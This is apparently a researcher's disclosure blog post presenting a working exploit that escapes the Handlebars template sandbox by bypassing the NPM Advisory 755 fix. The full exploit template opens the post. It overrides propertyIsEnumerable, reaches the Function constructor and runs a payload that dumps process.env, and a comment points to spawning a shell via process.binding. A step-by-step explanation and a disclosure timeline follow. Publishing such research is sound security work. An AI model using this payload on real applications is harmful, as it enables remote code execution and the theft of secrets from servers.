After reading about NPM Advisory 755 in Mahmoud Gamal's blog post, I decided to poke around a bit and see if there are other ways to trick handlebars into letting us escape the sandbox.

Exploit

{{! js payload. you can spawn a shell by calling process.binding("spawn_sync") with the correct arguments to bypass not having access to require }}
{{#with "console.log(JSON.stringify(process.env,null, 2))" }}
{{#with (split "💩" 1) as |payload|}}
{{! set this['undefined'] = this.valueOf }}
{{__defineGetter__ "undefined" valueOf }}
{{! sets context to valueOf, this is what we'll be calling bind on later }}
{{! handlebars ends up calling context.__lookupGetter__() which returns the same thing as __lookupGetter("undefined") }}
{{#with __lookupGetter__ }}
{{! override propertyIsEnumerable with a function that always returns 1 using valueOf.bind(1).bind() }}
{{__defineGetter__ "propertyIsEnumerable" (this.bind (this.bind 1)) }}
{{! set the context = Function.prototype.constructor }}
{{__defineGetter__ "undefined" this.constructor}}
{{#with __lookupGetter__ as |ctor| }}
{{! setup a getter that will execute our payload }}
{{__defineGetter__ "hax" (ctor.apply ctor payload)}}
{{{hax}}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Background

Handlebars is a logicfull templating engine that attempts to restrict what you can do by providing a limited sandbox for your templates to run it. In the end, your templates are compiled to javascript and so it's a pretty tricky feat to pull off.

The patch to the prototype pollution vulnerability in NPM Advisory 755 is essentially to deny reading/writing properties if the property is not enumerable. We need access to Function.prototype.constructor to run our payload so we need to bypass this check.

Our goals

In order to get this exploit cooking we need to accomplish the following:

  • Override propertyIsEnumerable with a function that always returns true in order to bypass the mitigation to NPM 755
  • Get a reference to the Function constructor
  • Call the function constructor with an attacker controlled thing
  • Call the constructed function to execute our payload

Setting up the payload

Our first step is to create an array containing a single string element which defines which javascript we're going to execute. This is accomplished by calling split after setting the this to the string containing our payload:

{{#with "console.log(JSON.stringify(process.env,null, 2))" }}
{{#with (split "💩" 1) as |payload|}}
// context = "console.log(JSON.stringify(process.env,null, 2))"
// payload = context.split("💩", 1") // ["<payload>"]

Abusing the with helper

In handlebars, if you can call functions with this bound to the current context. As you can see above, we used the with helper to set the context to a string and call split.

The with helper is a lot like the with operator in Javascript. Effectively, it changes what this is. We want to set the context to a Function but handlebars throws us a curveball! If you pass a function to the with helper, it will call the function with no arguments and use the return value as the context, not the function itself.

You can think of:

{{#with something}}
{{something}}
{{/with}}

As:

output(something())

But we need:

output(something)

So how do we get around this? We need a function that will return a function.

Leveraging __defineGetter__ and __setGetter__

These two little functions are easy to forget but are very useful. Essentially, __defineGetter__ let's define a function that is called every time you access a property and returns a value for it. It's partner __lookupGetter__ simply returns the function that is used to generate the value.

If we look at the first step in the exploit:

{{__defineGetter__ "undefined" valueOf }}
   {{! sets context to valueOf, this is what we'll be calling bind on later }}
   {{! handlebars ends up calling context.__lookupGetter__() which returns the same thing as __lookupGetter("undefined") }}
  {{#with __lookupGetter__ }}

This effectively compiles down to something like:

this.__defineGetter__("undefined", this.valueOf)
with(this.__lookupGetter__()) {
  ....
}

We can't control the arguments passed to __lookupGetter__ but luckily in javascript if you don't pass an argument the variable will be set to undefined. This will get cast to a string and end up being the same as calling __lookupGetter__("undefined"). So, all we have to do to set the context to a function is define a getter with the property name "undefined" and use {#with __lookupGetter__}.

Bypassing the patch

In order to bypass the patch, we need to make propertyIsEnumerable always return 1.

With our shiny new primitive, we can do this via:

{{#with __lookupGetter__ }}
{{! override propertyIsEnumerable with a function that always returns 1 using valueOf.bind(1).bind() }}
{{__defineGetter__ "propertyIsEnumerable" (this.bind (this.bind 1)) }}

What we've done here is set a getter for propertyIsEnumerable to valueOf bound with a context of the number 1.

You can think of this block as:

valueOf.__defineGetter__("propertyIsEnumerable", valueOf.bind(valueOf.valueOf.bind(1)))
// valueOf.propertyIsEnumerable = function() {
//   return (1).valueOf()
//}

Now context.propertyIsEnumerable will always return 1!

With the bypass out of the way, we simply get a reference to this.constructor which will be Function and call it with our payload.

Timeline

I reported this to NPM Security about 5 months back and haven't received a response. Since this vulnerability requires a template injection already I've decided to disclose it.